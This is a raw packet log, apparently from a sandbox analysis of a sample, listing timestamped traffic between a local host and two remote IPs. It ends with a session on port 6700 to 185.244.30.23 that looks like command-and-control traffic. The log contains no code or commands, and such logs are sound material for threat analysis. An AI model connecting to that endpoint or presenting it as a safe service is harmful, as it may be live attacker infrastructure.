Aug 3, 2021 20:39:47.766789913 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766802073 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766866922 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.766926050 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.766932964 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767023087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767060995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767100096 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767103910 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767157078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767184973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767225981 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767272949 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767285109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767314911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767354012 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767363071 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767390966 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767429113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767435074 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767463923 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767501116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767509937 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767538071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.767581940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.767585039 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786290884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786341906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786392927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786449909 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786463022 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786499977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786504030 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786556005 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786561012 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786608934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786652088 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786662102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786710978 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786752939 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786765099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786819935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786860943 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.786879063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786931992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786968946 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.786974907 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.787003994 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787045002 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.787049055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787100077 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787153006 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.787183046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787226915 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787266970 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787280083 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.787322998 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787374973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.787379026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787957907 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.787993908 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.788031101 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.803545952 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.803612947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.803651094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.803708076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.803814888 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.855495930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.905277014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.905359983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.905529976 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.931678057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931735992 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931818962 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931855917 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931894064 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931907892 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.931931973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.931961060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.931982994 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.939464092 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939511061 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939547062 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939585924 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939624071 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939656973 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.939661026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.939707041 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.939732075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947452068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947503090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947542906 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947580099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947618961 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947657108 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947683096 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947694063 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947716951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947724104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947741985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947784901 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947805882 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947823048 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947860956 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947880030 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947897911 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947933912 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.947952986 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.947972059 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948009014 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948024035 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948055983 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948097944 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948110104 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948136091 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948174953 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948188066 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948213100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948249102 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948262930 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948287010 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948323965 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948338985 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948370934 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948412895 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948426962 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948448896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948486090 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948498964 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948523045 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948559046 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948576927 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948599100 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948638916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948652983 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948685884 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948728085 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948738098 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948765993 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948805094 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948818922 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948842049 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948879004 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948895931 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.948915958 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.948972940 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967232943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967286110 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967323065 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967361927 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967398882 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967436075 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967473984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967508078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967510939 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967560053 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967602968 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967617989 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967643023 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967681885 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967695951 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967720985 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967756033 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967760086 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967793941 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967822075 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967830896 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967879057 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967921019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.967947960 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.967962027 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968000889 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968038082 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968054056 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.968075037 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968126059 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.968190908 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.968317032 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968385935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.968481064 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.983546019 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.983624935 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.983685017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.983745098 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:47.983797073 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:47.983838081 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.035269022 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.035310984 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.035523891 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.085092068 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.085120916 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.085313082 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.111582041 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111618042 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111629963 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111643076 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111655951 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111671925 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.111810923 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.119404078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119431973 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119447947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119467020 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119488001 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119508028 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.119518042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.119575977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.128709078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128741026 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128760099 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128782034 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128801107 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128817081 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128833055 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128854990 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128861904 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.128875017 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128890991 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128906965 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.128911972 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128920078 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.128936052 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128959894 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.128977060 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.128982067 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129002094 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129007101 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129030943 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129048109 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129053116 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129074097 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129095078 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129100084 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129115105 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129127979 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129138947 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129142046 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129156113 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129172087 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129172087 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129184008 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129209042 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129209995 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129229069 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129235029 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129245996 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.129265070 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.129316092 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:39:48.440792084 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.440855980 CEST	443	49756	207.241.228.148	192.168.2.4
Aug 3, 2021 20:39:48.441046000 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:41:28.145874977 CEST	49756	443	192.168.2.4	207.241.228.148
Aug 3, 2021 20:41:48.761809111 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:48.928741932 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:48.928890944 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.000727892 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.187416077 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.189383030 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.409264088 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.411232948 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.579142094 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.612970114 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.841918945 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.875570059 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.880924940 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.880970955 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.880986929 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:49.881057024 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:49.881114006 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.061727047 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.068919897 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.069001913 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.069179058 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.069669962 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.069761992 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.069945097 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.070178986 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.070242882 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.070421934 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.070666075 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.070749044 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.101083994 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.235567093 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.235641956 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.235691071 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.235734940 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.235852957 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.235915899 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.236005068 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.236181974 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239409924 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239451885 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239495039 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239507914 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239511967 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239563942 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239619970 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239629984 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239653111 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239671946 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.239897966 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.239962101 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.240025043 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.240081072 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.240286112 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.240345955 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.240473032 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.240533113 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.240787983 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.240900040 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.240958929 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.240968943 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.241130114 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.241183043 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.331578016 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.403537035 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.403624058 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.403675079 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.403767109 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.404032946 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.404093027 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.404216051 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.404495955 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.404550076 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.404679060 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.404803991 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.404856920 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.407094955 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.407638073 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:50.407691002 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:50.407768965 CEST	6700	49776	185.244.30.23	192.168.2.4
